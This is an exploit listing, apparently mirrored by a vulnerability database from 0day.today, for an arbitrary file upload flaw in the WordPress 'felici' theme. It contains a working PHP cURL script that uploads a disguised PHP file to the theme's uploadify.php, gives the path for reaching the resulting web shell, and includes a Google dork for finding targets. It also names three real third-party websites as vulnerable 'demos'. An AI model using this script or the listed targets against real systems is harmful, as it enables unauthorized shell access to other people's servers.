Lucene search
K

Wordpress Themes - felici Arbitrary File Upload Vulnerability

🗓️ 30 Nov 2012 00:00:00Reported by Zikou-16Type 
zdt
 zdt
🔗 0day.today👁 42 Views

Wordpress Themes - felici Arbitrary File Upload Vulnerability. Exploit uses uploadshell.php.jpg or .gif to upload malicious file dz.php.jpg via cURL and gain shell access. Demo sites vulnerable.

Code
-------------------------------------------------------------------------------
          Wordpress Themes- felici Arbitrary File Upload Vulnerability
 --------------------------------------------------------------------------------

######################################################################################
#
# Author => Zikou-16
#
# Facebook => http://fb.me/Zikou.se
#
# Google Dork => inurl:"wp-content/themes/felici"
#
#######################################################################################

---------------------------------------------------------------------------------------

Exploit  : uploadshell.php.jpg or .gif

<?php

$uploadfile="dz.php.jpg";

$ch = curl_init("http://www.localhost/wp-content/themes/felici/sprites/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : http://www.localhost/wp-content/themes/felici/sprites/js/cufon-fonts/uploaded/custom_dz.php.jpg

<?php
phpinfo();
?>

---------------------------------------------------------------------------------------

Demo : 

1) http://www.mostakbali.net/wp-content/themes/felici/sprites/js/uploadify/uploadify.php

2) http://www.edufin.com.br/wp-content/themes/felici/sprites/js/uploadify/uploadify.php

3) http://www.readermagazine.net/wp-content/themes/felici/sprites/js/uploadify/uploadify.php

-----------------------------------------------------------------------------------------

#  0day.today [2018-04-14]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Nov 2012 00:00Current
7.1High risk
Vulners AI Score7.1
42